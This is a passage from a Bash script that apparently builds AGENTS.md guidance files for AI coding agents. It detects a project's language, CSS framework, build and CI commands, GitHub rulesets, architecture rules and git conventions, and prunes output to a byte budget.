              pkg_mgr=$(echo "$PROJECT_INFO" | jq -r '.package_manager // "unknown"')
              if [ "$pkg_mgr" != "unknown" ] && [ "$pkg_mgr" != "go" ] && [ "$pkg_mgr" != "composer" ]; then
                  echo "$pkg_mgr"
                  return
              fi
          fi
      
          echo "npm"  # Ultimate fallback
      }
      
      # Detect CSS approach/framework used in project
      # Checks package.json dependencies and config files
      detect_css_approach() {
          local config_root="$1"
          local pkg_json="$config_root/package.json"
          local approaches=()
      
          # Check package.json dependencies
          if [ -f "$pkg_json" ]; then
              local deps
              deps=$(jq -r '(.dependencies // {}) + (.devDependencies // {}) | keys[]' "$pkg_json" 2>/dev/null || echo "")
      
              # Tailwind CSS
              if echo "$deps" | grep -q "^tailwindcss$"; then
                  approaches+=("Tailwind CSS")
              fi
      
              # styled-components
              if echo "$deps" | grep -q "^styled-components$"; then
                  approaches+=("styled-components")
              fi
      
              # Emotion
              if echo "$deps" | grep -q "^@emotion/"; then
                  approaches+=("Emotion")
              fi
      
              # CSS Modules (indicated by config or common patterns)
              if [ -f "$config_root/postcss.config.js" ] || [ -f "$config_root/postcss.config.mjs" ]; then
                  if ! printf '%s\n' "${approaches[@]}" | grep -q "Tailwind"; then
                      approaches+=("CSS Modules")
                  fi
              fi
      
              # Sass/SCSS
              if echo "$deps" | grep -q "^sass$"; then
                  approaches+=("Sass/SCSS")
              fi
          fi
      
          # Default to CSS Modules if nothing detected but tsconfig exists
          if [ ${#approaches[@]} -eq 0 ]; then
              [ -f "$config_root/tsconfig.json" ] && approaches+=("CSS Modules")
          fi
      
          # Join approaches with comma. `local IFS` is function-scoped and does
          # not tamper with the caller's IFS — safe under strict SC2030/SC2031
          # semantics. Suppress opengrep's false positive on the `IFS=` pattern.
          local IFS=', '  # nosemgrep: bash.lang.security.ifs-tampering.ifs-tampering
          echo "${approaches[*]}"
      }
      
      # Byte budget enforcement (OpenAI Codex default: 32 KiB for combined instructions)
      BYTE_BUDGET="${BYTE_BUDGET:-32768}"
      
      enforce_byte_budget() {
          local file="$1"
          local budget="$2"
      
          [ ! -f "$file" ] && return 0
      
          local size
          size=$(wc -c < "$file")
      
          if [ "$size" -le "$budget" ]; then
              log "File size: $size bytes (within $budget budget)"
              return 0
          fi
      
          log "File exceeds byte budget ($size > $budget), pruning..."
      
          local content
          content=$(cat "$file")
          local pruned=false
      
          # Strategy 1: Reduce golden samples to 5
          if echo "$content" | grep -q "AGENTS-GENERATED:START golden-samples"; then
              local sample_count
              sample_count=$(echo "$content" | sed -n '/AGENTS-GENERATED:START golden-samples/,/AGENTS-GENERATED:END golden-samples/p' | grep -c "^|" || echo 0)
              if [ "$sample_count" -gt 7 ]; then  # header + separator + 5 data rows = 7
                  content=$(echo "$content" | awk '
                      /AGENTS-GENERATED:START golden-samples/ { in_section=1; count=0; print; next }
                      /AGENTS-GENERATED:END golden-samples/ { in_section=0; print; next }
                      in_section && /^\|/ { count++; if (count <= 7) print; next }
                      { print }
                  ')
                  pruned=true
                  log "  - Reduced golden samples to 5"
              fi
          fi
      
          # Strategy 2: Reduce heuristics to 5
          if echo "$content" | grep -q "AGENTS-GENERATED:START heuristics"; then
              local heuristic_count
              heuristic_count=$(echo "$content" | sed -n '/AGENTS-GENERATED:START heuristics/,/AGENTS-GENERATED:END heuristics/p' | grep -c "^|" || echo 0)
              if [ "$heuristic_count" -gt 7 ]; then  # header + separator + 5 data rows = 7
                  content=$(echo "$content" | awk '
                      /AGENTS-GENERATED:START heuristics/ { in_section=1; count=0; print; next }
                      /AGENTS-GENERATED:END heuristics/ { in_section=0; print; next }
                      in_section && /^\|/ { count++; if (count <= 7) print; next }
                      { print }
                  ')
                  pruned=true
                  log "  - Reduced heuristics to 5"
              fi
          fi
      
          # Strategy 3: Reduce utilities to 5
          if echo "$content" | grep -q "AGENTS-GENERATED:START utilities"; then
              local utility_count
              utility_count=$(echo "$content" | sed -n '/AGENTS-GENERATED:START utilities/,/AGENTS-GENERATED:END utilities/p' | grep -c "^|" || echo 0)
              if [ "$utility_count" -gt 7 ]; then  # header + separator + 5 data rows = 7
                  content=$(echo "$content" | awk '
                      /AGENTS-GENERATED:START utilities/ { in_section=1; count=0; print; next }
                      /AGENTS-GENERATED:END utilities/ { in_section=0; print; next }
                      in_section && /^\|/ { count++; if (count <= 7) print; next }
                      { print }
                  ')
                  pruned=true
                  log "  - Reduced utilities to 5"
              fi
          fi
      
          # Write pruned content
          if [ "$pruned" = true ]; then
              echo "$content" > "$file"
              local new_size
              new_size=$(wc -c < "$file")
              echo "⚠️  Pruned due to size budget ($size → $new_size bytes)"
          fi
      
          return 0
      }
      
      # Detect project
      log "Detecting project type..."
      PROJECT_INFO=$("$SCRIPT_DIR/detect-project.sh" "$PROJECT_DIR")
      [ "$VERBOSE" = true ] && echo "$PROJECT_INFO" | jq . >&2
      
      LANGUAGE=$(echo "$PROJECT_INFO" | jq -r '.language')
      VERSION=$(echo "$PROJECT_INFO" | jq -r '.version')
      PROJECT_TYPE=$(echo "$PROJECT_INFO" | jq -r '.type')
      
      [ "$LANGUAGE" = "unknown" ] && error "Could not detect project language"
      
      # Detect scopes
      log "Detecting scopes..."
      SCOPES_INFO=$("$SCRIPT_DIR/detect-scopes.sh" "$PROJECT_DIR")
      [ "$VERBOSE" = true ] && echo "$SCOPES_INFO" | jq . >&2
      
      # Map language to stack filter for extract-commands.sh
      get_stack_filter() {
          local lang="$1"
          case "$lang" in
              go) echo "go" ;;
              php) echo "php" ;;
              python) echo "python" ;;
              typescript|javascript) echo "node" ;;
              *) echo "auto" ;;
          esac
      }
      
      # Extract commands
      log "Extracting build commands..."
      PRIMARY_STACK=$(get_stack_filter "$LANGUAGE")
      COMMANDS=$("$SCRIPT_DIR/extract-commands.sh" "$PROJECT_DIR" "$PRIMARY_STACK")
      [ "$VERBOSE" = true ] && echo "$COMMANDS" | jq . >&2
      
      # Extract documentation (README, CONTRIBUTING, SECURITY, etc.)
      log "Extracting documentation..."
      DOCS_INFO=$("$SCRIPT_DIR/extract-documentation.sh" "$PROJECT_DIR")
      [ "$VERBOSE" = true ] && echo "$DOCS_INFO" | jq . >&2
      
      # Extract platform files (.github/, .gitlab/, etc.)
      log "Extracting platform files..."
      PLATFORM_INFO=$("$SCRIPT_DIR/extract-platform-files.sh" "$PROJECT_DIR")
      [ "$VERBOSE" = true ] && echo "$PLATFORM_INFO" | jq . >&2
      
      # Extract IDE settings (.editorconfig, .vscode/, etc.)
      log "Extracting IDE settings..."
      IDE_INFO=$("$SCRIPT_DIR/extract-ide-settings.sh" "$PROJECT_DIR")
      [ "$VERBOSE" = true ] && echo "$IDE_INFO" | jq . >&2
      
      # Extract AI agent configs (.cursor/, .claude/, etc.)
      log "Extracting AI agent configs..."
      AGENT_INFO=$("$SCRIPT_DIR/extract-agent-configs.sh" "$PROJECT_DIR")
      [ "$VERBOSE" = true ] && echo "$AGENT_INFO" | jq . >&2
      
      # Generate file map
      log "Generating file map..."
      FILE_MAP=$("$SCRIPT_DIR/generate-file-map.sh" "$PROJECT_DIR" 2>/dev/null || echo "")
      
      # Detect golden samples
      log "Detecting golden samples..."
      GOLDEN_SAMPLES=$("$SCRIPT_DIR/detect-golden-samples.sh" "$PROJECT_DIR" 2>/dev/null || echo "")
      
      # Detect utilities
      log "Detecting utilities..."
      UTILITIES_LIST=$("$SCRIPT_DIR/detect-utilities.sh" "$PROJECT_DIR" 2>/dev/null || echo "")
      
      # Detect heuristics
      log "Detecting heuristics..."
      HEURISTICS=$("$SCRIPT_DIR/detect-heuristics.sh" "$PROJECT_DIR" 2>/dev/null || echo "")
      
      # Extract quality configs (detailed linter/formatter settings)
      log "Extracting quality configs..."
      QUALITY_CONFIG=$("$SCRIPT_DIR/extract-quality-configs.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}')
      [ "$VERBOSE" = true ] && echo "$QUALITY_CONFIG" | jq . >&2
      
      # Extract CI commands
      log "Extracting CI commands..."
      CI_INFO=$("$SCRIPT_DIR/extract-ci-commands.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}')
      [ "$VERBOSE" = true ] && echo "$CI_INFO" | jq . >&2
      
      # Extract CI rules (version matrices, quality gates, coverage thresholds)
      log "Extracting CI rules..."
      CI_RULES=$("$SCRIPT_DIR/extract-ci-rules.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}')
      [ "$VERBOSE" = true ] && echo "$CI_RULES" | jq . >&2
      
      # Extract GitHub repository settings
      log "Extracting GitHub settings..."
      GITHUB_SETTINGS=$("$SCRIPT_DIR/extract-github-settings.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}')
      [ "$VERBOSE" = true ] && echo "$GITHUB_SETTINGS" | jq . >&2
      
      # Extract GitHub rulesets
      log "Extracting GitHub rulesets..."
      GITHUB_RULESETS=$("$SCRIPT_DIR/extract-github-rulesets.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"rulesets":[],"merge_queue":false,"required_checks":[],"signed_commits":false}')
      [ "$VERBOSE" = true ] && echo "$GITHUB_RULESETS" | jq . >&2
      
      # Extract ADRs
      log "Extracting ADRs..."
      ADR_INFO=$("$SCRIPT_DIR/extract-adrs.sh" "$PROJECT_DIR" 2>/dev/null || echo '{"adr_count":0,"adr_directory":null,"adrs":[]}')
      [ "$VERBOSE" = true ] && echo "$ADR_INFO" | jq . >&2
      
      # Extract architecture / module boundary rules
      log "Extracting architecture rules..."
      ARCH_RULES=$("$SCRIPT_DIR/extract-architecture-rules.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}')
      [ "$VERBOSE" = true ] && echo "$ARCH_RULES" | jq . >&2
      
      # Determine command source confidence
      # Priority: CI > Makefile > package.json/composer.json > fallback defaults
      get_command_source() {
          local ci_system
          ci_system=$(echo "$CI_INFO" | jq -r '.ci_system // "none"')
      
          if [ "$ci_system" != "none" ] && [ "$ci_system" != "null" ]; then
              local ci_commands
              ci_commands=$(echo "$CI_INFO" | jq -r '.github_actions.run_commands // .gitlab_ci.script_commands // [] | length')
              if [ "$ci_commands" -gt 0 ]; then
                  echo "CI ($ci_system)"
                  return 0
              fi
          fi
      
          if [ -f "Makefile" ]; then
              echo "Makefile"
              return 0
          fi
      
          case "$LANGUAGE" in
              "typescript"|"javascript")
                  [ -f "package.json" ] && echo "package.json" && return 0
                  ;;
              "php")
                  [ -f "composer.json" ] && echo "composer.json" && return 0
                  ;;
              "python")
                  [ -f "pyproject.toml" ] && echo "pyproject.toml" && return 0
                  [ -f "setup.py" ] && echo "setup.py" && return 0
                  ;;
              "go")
                  [ -f "go.mod" ] && echo "go.mod" && return 0
                  ;;
          esac
      
          echo "defaults"
      }
      
      COMMAND_SOURCE=$(get_command_source)
      log "Command source: $COMMAND_SOURCE"
      
      # Analyze git history for conventions
      log "Analyzing git history..."
      GIT_HISTORY=$("$SCRIPT_DIR/analyze-git-history.sh" "$PROJECT_DIR" 2>/dev/null || echo '{}')
      [ "$VERBOSE" = true ] && echo "$GIT_HISTORY" | jq . >&2
      
      # Helper: Safe jq extraction that filters null values
      # Usage: jq_safe "$json" '.path.to.value'
      jq_safe() {
          local json="$1"
          local path="$2"
          local result
          result=$(echo "$json" | jq -r "$path // empty | select(. != null and . != \"null\" and . != \"\")")
          echo "$result"
      }
      
      # Helper: Build quality standards from quality config
      build_quality_standards() {
          local quality_json="$1"
          local standards=""
      
          # Get detected tools
          local tools
          tools=$(echo "$quality_json" | jq -r '.detected_tools | if . and . != null then join(", ") else "" end | select(. != "")')
          [ -n "$tools" ] && standards="$standards- Quality tools: $tools\n"
      
          # PHPStan level
          local phpstan_level
          phpstan_level=$(jq_safe "$quality_json" '.phpstan.level')
          [ -n "$phpstan_level" ] && standards="$standards- PHPStan level: $phpstan_level (do not lower)\n"
      
          # TypeScript strict mode
          local ts_strict
          ts_strict=$(jq_safe "$quality_json" '.typescript.strict')
          [ "$ts_strict" = "true" ] && standards="$standards- TypeScript: strict mode enabled\n"
      
          # Line length settings
          local line_length
          line_length=$(jq_safe "$quality_json" '.golangci_lint.line_length // .prettier.print_width // .black.line_length // .ruff.line_length')
          [ -n "$line_length" ] && standards="$standards- Line length: $line_length\n"
      
          # ESLint extends
          local eslint_extends
          eslint_extends=$(jq_safe "$quality_json" '.eslint.extends')
          [ -n "$eslint_extends" ] && standards="$standards- ESLint: extends $eslint_extends\n"
      
          # PHP-CS-Fixer ruleset
          local php_cs_ruleset
          php_cs_ruleset=$(jq_safe "$quality_json" '.php_cs_fixer.rule_set')
          [ -n "$php_cs_ruleset" ] && standards="$standards- PHP-CS-Fixer: $php_cs_ruleset rules\n"
      
          # Mypy strict
          local mypy_strict
          mypy_strict=$(jq_safe "$quality_json" '.mypy.strict')
          [ "$mypy_strict" = "True" ] || [ "$mypy_strict" = "true" ] && standards="$standards- Mypy: strict mode enabled\n"
      
          # Ruff select rules
          local ruff_select
          ruff_select=$(jq_safe "$quality_json" '.ruff.select')
          [ -n "$ruff_select" ] && standards="$standards- Ruff: $ruff_select\n"
      
          # Default if nothing found
          [ -z "$standards" ] && standards="- Follow project linting and formatting rules\n- Write tests for new functionality\n- Keep functions focused and well-documented\n"
      
          echo -e "$standards"
      }
      
      # Helper: Build CI/Quality Gates section from CI rules
      build_ci_rules_section() {
          local ci_json="$1"
          local section=""
      
          local platform
          platform=$(echo "$ci_json" | jq -r '.ci_platform // empty')
          [[ -z "$platform" ]] && return 0
      
          section="## CI/Quality Gates\n"
          section="${section}> Platform: ${platform}\n\n"
      
          # Version matrix
          local versions_block=""
          local php_versions
          php_versions=$(echo "$ci_json" | jq -r '.php_versions // [] | if length > 0 then "PHP " + join(", ") else "" end')
          [[ -n "$php_versions" ]] && versions_block="${versions_block}- ${php_versions}\n"
      
          local node_versions
          node_versions=$(echo "$ci_json" | jq -r '.node_versions // [] | if length > 0 then "Node " + join(", ") else "" end')
          [[ -n "$node_versions" ]] && versions_block="${versions_block}- ${node_versions}\n"
      
          local go_version
          go_version=$(echo "$ci_json" | jq -r '.go_version // empty')
          [[ -n "$go_version" ]] && versions_block="${versions_block}- Go ${go_version}\n"
      
          local python_versions
          python_versions=$(echo "$ci_json" | jq -r '.python_versions // [] | if length > 0 then "Python " + join(", ") else "" end')
          [[ -n "$python_versions" ]] && versions_block="${versions_block}- ${python_versions}\n"
      
          if [[ -n "$versions_block" ]]; then
              section="${section}### Version Matrix\n${versions_block}\n"
          fi
      
          # Quality gates
          local gates
          gates=$(echo "$ci_json" | jq -r '.quality_gates // [] | if length > 0 then .[] else empty end')
          if [[ -n "$gates" ]]; then
              section="${section}### Quality Gates (must pass before merge)\n"
              while IFS= read -r gate; do
                  section="${section}- \`${gate}\`\n"
              done <<< "$gates"
              section="${section}\n"
          fi
      
          # Coverage threshold
          local coverage
          coverage=$(echo "$ci_json" | jq -r '.coverage_threshold // empty')
          [[ -n "$coverage" ]] && section="${section}### Coverage\n- Minimum threshold: ${coverage}\n\n"
      
          # Security workflows
          local sec_wfs
          sec_wfs=$(echo "$ci_json" | jq -r '.security_workflows // [] | if length > 0 then .[] else empty end')
          if [[ -n "$sec_wfs" ]]; then
              section="${section}### Security Workflows\n"
              while IFS= read -r wf; do
                  section="${section}- \`${wf}\`\n"
              done <<< "$sec_wfs"
              section="${section}\n"
          fi
      
          # Pinned actions
          local pinned
          pinned=$(echo "$ci_json" | jq -r '.pinned_actions // empty')
          if [[ "$pinned" == "true" ]]; then
              section="${section}### Constraints\n- Actions are SHA-pinned — maintain pinning when updating\n"
          fi
      
          # Linter configs
          local linters
          linters=$(echo "$ci_json" | jq -r '.linter_configs // [] | if length > 0 then .[] else empty end')
          if [[ -n "$linters" ]]; then
              section="${section}- Linter configs: "
              local first=true
              while IFS= read -r cfg; do
                  if $first; then
                      section="${section}\`${cfg}\`"
                      first=false
                  else
                      section="${section}, \`${cfg}\`"
                  fi
              done <<< "$linters"
              section="${section}\n"
          fi
      
          echo -e "$section"
      }
      
      # Helper: Build module boundaries section from architecture rules
      build_module_boundaries() {
          local arch_json="$1"
          local section=""
      
          # Check if we have any data
          local framework
          framework=$(echo "$arch_json" | jq -r '.framework // empty' 2>/dev/null)
          [ -z "$framework" ] && return 0
      
          local rule_count
          rule_count=$(echo "$arch_json" | jq -r '.rules | length // 0' 2>/dev/null)
          local internal_count
          internal_count=$(echo "$arch_json" | jq -r '.internal_packages | length // 0' 2>/dev/null)
          local has_layers
          has_layers=$(echo "$arch_json" | jq -r '.layer_definitions | length > 0' 2>/dev/null)
      
          [ "$rule_count" = "0" ] && [ "$internal_count" = "0" ] && [ "$has_layers" != "true" ] && return 0
      
          section="## Module Boundaries\n"
          section="${section}> Source: ${framework}\n\n"
      
          # Internal packages (Go)
          if [ "$internal_count" -gt 0 ]; then
              section="${section}### Internal Packages (compiler-enforced)\n"
              while IFS= read -r pkg; do
                  section="${section}- \`${pkg}\`\n"
              done < <(echo "$arch_json" | jq -r '.internal_packages[]' 2>/dev/null)
              section="${section}\n"
          fi
      
          # Layer definitions
          if [ "$has_layers" = "true" ]; then
              local arch_pattern
              arch_pattern=$(echo "$arch_json" | jq -r '.layer_definitions.architecture_pattern // empty' 2>/dev/null)
              if [ -n "$arch_pattern" ]; then
                  section="${section}### Architecture Pattern\n"
                  section="${section}- ${arch_pattern}\n\n"
              fi
      
              # Non-pattern layer definitions (deptrac etc.)
              local layer_keys
              layer_keys=$(echo "$arch_json" | jq -r '.layer_definitions | keys[] | select(. != "architecture_pattern")' 2>/dev/null)
              if [ -n "$layer_keys" ]; then
                  section="${section}### Layers\n"
                  while IFS= read -r layer; do
                      local values
                      values=$(echo "$arch_json" | jq -r --arg l "$layer" '.layer_definitions[$l] | if type == "array" then join(", ") else tostring end' 2>/dev/null)
                      section="${section}- **${layer}**: ${values}\n"
                  done <<< "$layer_keys"
                  section="${section}\n"
              fi
          fi
      
          # Dependency rules
          if [ "$rule_count" -gt 0 ]; then
              section="${section}### Dependency Rules\n"
              section="${section}| Source | Target | Rule | Reason |\n"
              section="${section}|--------|--------|------|--------|\n"
              while IFS= read -r rule_line; do
                  section="${section}${rule_line}\n"
              done < <(echo "$arch_json" | jq -r '.rules[] |
                  "| " + .source + " | `" + .target + "` | " + .type + " | " + (.reason // "-") + " |"' 2>/dev/null)
          fi
      
          echo -e "$section"
      }
      
      # Helper: Build workflow section from git history
      build_workflow_info() {
          local git_json="$1"
          local workflow=""
      
          # Commit convention
          local convention
          convention=$(echo "$git_json" | jq -r '.commit_convention.convention // "unknown" | select(. != null)')
          [ -z "$convention" ] && convention="unknown"
          local confidence
          confidence=$(echo "$git_json" | jq -r '.commit_convention.confidence // 0 | select(. != null)')
          [ -z "$confidence" ] && confidence=0
      
          if [ "$convention" != "unknown" ] && [ "$confidence" -gt 30 ]; then
              case "$convention" in
                  "conventional-commits")
                      workflow="$workflow- Commits: Use Conventional Commits (feat:, fix:, docs:, etc.)\n"
                      ;;
                  "tag-prefix")
                      workflow="$workflow- Commits: Use [TAG] prefix style\n"
                      ;;
                  "emoji")
                      workflow="$workflow- Commits: Use emoji prefixes\n"
                      ;;
                  "ticket-reference")
                      workflow="$workflow- Commits: Include ticket references (JIRA-123, #123)\n"
                      ;;
              esac
          fi
      
          # Merge strategy
          local merge_strategy
          merge_strategy=$(echo "$git_json" | jq -r '.merge_strategy.strategy // "unknown"')
          case "$merge_strategy" in
              "squash-and-merge")
                  workflow="$workflow- PRs: Squash and merge\n"
                  ;;
              "merge-commits")
                  workflow="$workflow- PRs: Create merge commits\n"
                  ;;
          esac
      
          # Branch naming
          local branch_pattern
          branch_pattern=$(echo "$git_json" | jq -r '.branch_naming.pattern // "unknown"')
          local uses_feature
          uses_feature=$(echo "$git_json" | jq -r '.branch_naming.uses_feature_branches // false')
      
          if [ "$uses_feature" = "true" ]; then
              workflow="$workflow- Branches: feature/, fix/, hotfix/ prefixes\n"
          elif [ "$branch_pattern" = "ticket-based" ]; then
              workflow="$workflow- Branches: Include ticket reference in name\n"
          fi
      
          # Release pattern
          local release_pattern
          release_pattern=$(echo "$git_json" | jq -r '.releases.pattern // "unknown"')
          local uses_v
          uses_v=$(echo "$git_json" | jq -r '.releases.uses_v_prefix // false')
      
          if [ "$release_pattern" = "semver" ]; then
              [ "$uses_v" = "true" ] && workflow="$workflow- Releases: Semantic versioning (vX.Y.Z)\n" || workflow="$workflow- Releases: Semantic versioning (X.Y.Z)\n"
          elif [ "$release_pattern" = "calver" ]; then
              workflow="$workflow- Releases: Calendar versioning (YYYY.MM.DD)\n"
          fi
      
          # Default branch
          local default_branch
          default_branch=$(echo "$git_json" | jq -r '.default_branch // "main"')
          [ -n "$default_branch" ] && [ "$default_branch" != "null" ] && workflow="$workflow- Default branch: $default_branch\n"
      
          echo -e "$workflow"
      }
      
      # Generate root AGENTS.md
      ROOT_FILE="$PROJECT_DIR/AGENTS.md"
      
      if [ -f "$ROOT_FILE" ] && [ "$FORCE" = false ] && [ "$UPDATE_ONLY" = false ]; then
          emit_op keep agents-file "$ROOT_FILE" reason "already exists"
          log "Root AGENTS.md already exists, skipping (use --force to regenerate)"
      elif [ "$DRY_RUN" = true ]; then
          emit_op write agents-file "$ROOT_FILE"
          echo "[DRY-RUN] Would create/update: $ROOT_FILE"
      else
          log "Generating root AGENTS.md..."
      
          # Select template
          if [ "$STYLE" = "verbose" ]; then
              TEMPLATE="$TEMPLATE_DIR/root-verbose.md"
          else
              TEMPLATE="$TEMPLATE_DIR/root-thin.md"
          fi
      
          # Prepare template variables
          declare -A vars
          vars[TIMESTAMP]=$(get_timestamp)
          vars[VERIFIED_TIMESTAMP]="never"
          vars[COMMAND_SOURCE]="$COMMAND_SOURCE"
          vars[LANGUAGE_CONVENTIONS]=$(get_language_conventions "$LANGUAGE" "$VERSION")
      
          # Command extraction - only set if non-empty (leaves placeholder for row deletion)
          set_if_present() {
              local key="$1"
              local value="$2"
              if [ -n "$value" ] && [ "$value" != "null" ]; then
                  vars[$key]="$value"
              fi
              return 0
          }
          set_if_present INSTALL_CMD "$(echo "$COMMANDS" | jq -r '.install // empty')"
          set_if_present TYPECHECK_CMD "$(echo "$COMMANDS" | jq -r '.typecheck // empty')"
          set_if_present LINT_CMD "$(echo "$COMMANDS" | jq -r '.lint // empty')"
          set_if_present FORMAT_CMD "$(echo "$COMMANDS" | jq -r '.format // empty')"
          set_if_present TEST_CMD "$(echo "$COMMANDS" | jq -r '.test // empty')"
          set_if_present TEST_SINGLE_CMD "$(echo "$COMMANDS" | jq -r '.test_single // empty')"
          set_if_present BUILD_CMD "$(echo "$COMMANDS" | jq -r '.build // empty')"
      
          # Time estimates - check verification JSON first, then use heuristics
          VERIFICATION_JSON="$PROJECT_DIR/.agents/command-verification.json"
          get_verified_time() {
              local pattern="$1"
              local default="$2"
              if [ -f "$VERIFICATION_JSON" ]; then
                  local duration_ms
                  # Try to find command in verification JSON using regex pattern
                  duration_ms=$(jq -r --arg pattern "$pattern" '.commands | to_entries[] | select(.key | test($pattern; "i")) | .value.duration_ms // empty' "$VERIFICATION_JSON" 2>/dev/null | head -1)
                  if [ -n "$duration_ms" ] && [ "$duration_ms" != "null" ] && [ "$duration_ms" -gt 0 ] 2>/dev/null; then
                      # Convert ms to human-readable
                      if [ "$duration_ms" -lt 1000 ]; then
                          echo "~${duration_ms}ms"
                      elif [ "$duration_ms" -lt 60000 ]; then
                          echo "~$((duration_ms / 1000))s"
                      else
                          echo "~$((duration_ms / 60000))m"
                      fi
                      return
                  fi
              fi
              echo "$default"
          }
      
          # Check if we have verification data
          if [ -f "$VERIFICATION_JSON" ]; then
              verified_at=$(jq -r '.verified_at // empty' "$VERIFICATION_JSON" 2>/dev/null | cut -dT -f1)
              if [ -n "$verified_at" ]; then
                  vars[VERIFIED_TIMESTAMP]="$verified_at"
                  vars[VERIFIED_STATUS]=" (verified ✓)"
              else
                  vars[VERIFIED_TIMESTAMP]="never"
                  vars[VERIFIED_STATUS]=" (unverified)"
              fi
          else
              vars[VERIFIED_TIMESTAMP]="never"
              vars[VERIFIED_STATUS]=" (unverified)"
          fi
      
          vars[TYPECHECK_TIME]=$(get_verified_time "typecheck" "~15s")
          vars[LINT_TIME]=$(get_verified_time "lint|cs-fixer|eslint" "~10s")
          vars[FORMAT_TIME]=$(get_verified_time "format|prettier|black|cs-fixer fix$" "~5s")
          vars[TEST_TIME]=$(get_verified_time "test|phpunit|jest|pytest" "~30s")
          vars[BUILD_TIME]=$(get_verified_time "build" "~30s")
      
          # File map
          vars[FILE_MAP]="$FILE_MAP"
      
          # Golden samples, utilities, and heuristics from detection scripts
          vars[GOLDEN_SAMPLES]="$GOLDEN_SAMPLES"
          vars[UTILITIES_LIST]="$UTILITIES_LIST"
      
          # Add workflow conventions from git analysis to heuristics
          workflow_info=$(build_workflow_info "$GIT_HISTORY")
          workflow_heuristics=""
          # Convert workflow info to heuristic table rows
          if echo "$workflow_info" | grep -q "Commits:"; then
              commit_convention=$(echo "$workflow_info" | grep "Commits:" | sed 's/- Commits: //')
              workflow_heuristics="${workflow_heuristics}| Committing | $commit_convention |
      "
          fi
          if echo "$workflow_info" | grep -q "PRs:"; then
              pr_strategy=$(echo "$workflow_info" | grep "PRs:" | sed 's/- PRs: //')
              workflow_heuristics="${workflow_heuristics}| Merging PRs | $pr_strategy |
      "
          fi
          if echo "$workflow_info" | grep -q "Branches:"; then
              branch_convention=$(echo "$workflow_info" | grep "Branches:" | sed 's/- Branches: //')
              workflow_heuristics="${workflow_heuristics}| Creating branches | Use $branch_convention |
      "
          fi
      
          # Combine detected heuristics with workflow heuristics
          # Ensure no trailing blank lines
          combined_heuristics=""
          if [ -n "$HEURISTICS" ]; then
              # Trim blank lines and trailing whitespace
              combined_heuristics=$(printf '%s' "$HEURISTICS" | sed '/^[[:space:]]*$/d')
          fi
          if [ -n "$workflow_heuristics" ]; then
              # Add newline separator only if both have content
              if [ -n "$combined_heuristics" ]; then
                  combined_heuristics="${combined_heuristics}
      ${workflow_heuristics}"
              else
                  combined_heuristics="$workflow_heuristics"
              fi
          fi
          # Remove any trailing newlines
          combined_heuristics=$(printf '%s' "$combined_heuristics" | sed '/^[[:space:]]*$/d')
          vars[HEURISTICS]="$combined_heuristics"
      
          # Repository settings (from GitHub API)
          build_repo_settings() {
              local settings_json="$1"
              local available
              available=$(echo "$settings_json" | jq -r '.available // false')
      
              [ "$available" != "true" ] && return 0
      
              local content=""
              local default_branch merge_strategies required_approvals required_checks require_up_to_date
      
              default_branch=$(echo "$settings_json" | jq -r '.default_branch')
              merge_strategies=$(echo "$settings_json" | jq -r '.merge_strategies | join(", ")')
              required_approvals=$(echo "$settings_json" | jq -r '.required_approvals')
              required_checks=$(echo "$settings_json" | jq -r 'if .required_checks | length > 0 then .required_checks | map("`" + . + "`") | join(", ") else "" end')
              require_up_to_date=$(echo "$settings_json" | jq -r '.require_up_to_date')
      
              content="- **Default branch:** \`$default_branch\`\n"
              [ -n "$merge_strategies" ] && content="${content}- **Merge strategy:** $merge_strategies\n"
              [ "$required_approvals" != "0" ] && [ "$required_approvals" != "null" ] && content="${content}- **Required approvals:** $required_approvals\n"
              [ -n "$required_checks" ] && content="${content}- **Required checks:** $required_checks\n"
              [ "$require_up_to_date" = "true" ] && content="${content}- **Require up-to-date:** yes — rebase before merge\n"
      
              printf '%b' "$content"
          }
      
          # Append ruleset information to repo settings
          build_ruleset_settings() {
              local rulesets_json="$1"
              local ruleset_count
              ruleset_count=$(echo "$rulesets_json" | jq '.rulesets | length')
      
              [ "$ruleset_count" -eq 0 ] && return 0
      
              local content=""
              local merge_queue signed_commits required_checks
      
              merge_queue=$(echo "$rulesets_json" | jq -r '.merge_queue')
              signed_commits=$(echo "$rulesets_json" | jq -r '.signed_commits')
              required_checks=$(echo "$rulesets_json" | jq -r 'if .required_checks | length > 0 then .required_checks | map("`" + . + "`") | join(", ") else "" end')
      
              [ "$merge_queue" = "true" ] && content="${content}- **Merge queue:** enabled — PRs merge via queue, not direct merge\n"
              [ "$signed_commits" = "true" ] && content="${content}- **Signed commits:** required\n"
              [ -n "$required_checks" ] && content="${content}- **Required checks (rulesets):** $required_checks\n"
      
              # List active rulesets
              local ruleset_names
              ruleset_names=$(echo "$rulesets_json" | jq -r '[.rulesets[].name] | join(", ")')
              [ -n "$ruleset_names" ] && content="${content}- **Active rulesets:** $ruleset_names\n"
      
              printf '%b' "$content"
          }
          vars[REPO_SETTINGS]=$(build_repo_settings "$GITHUB_SETTINGS")
          ruleset_settings=$(build_ruleset_settings "$GITHUB_RULESETS")
          if [ -n "$ruleset_settings" ]; then
              vars[REPO_SETTINGS]="${vars[REPO_SETTINGS]}${vars[REPO_SETTINGS]:+$'\n'}${ruleset_settings}"
          fi
      
          # Module boundaries (from architecture rules)
          vars[MODULE_BOUNDARIES]=$(build_module_boundaries "$ARCH_RULES")
      
          # CI/Quality Gates section (from CI rules)
          vars[CI_RULES_SECTION]=$(build_ci_rules_section "$CI_RULES")
      
          # Key Decisions (from ADRs)
          build_key_decisions() {
              local adr_json="$1"
              local adr_count
              adr_count=$(echo "$adr_json" | jq -r '.adr_count')
      
              [ "$adr_count" -eq 0 ] || [ "$adr_count" = "null" ] && return 0
      
              local adr_dir content=""
              adr_dir=$(echo "$adr_json" | jq -r '.adr_directory')
      
              for i in $(seq 0 $((adr_count - 1))); do
                  local title status summary file
                  file=$(echo "$adr_json" | jq -r ".adrs[$i].file")
                  title=$(echo "$adr_json" | jq -r ".adrs[$i].title")
                  status=$(echo "$adr_json" | jq -r ".adrs[$i].status")
                  summary=$(echo "$adr_json" | jq -r ".adrs[$i].summary")
      
                  # Show status badge only for non-Accepted (Accepted is the norm)
                  local status_badge=""
                  if [ "$status" != "Accepted" ] && [ "$status" != "Unknown" ]; then
                      status_badge=" [$status]"
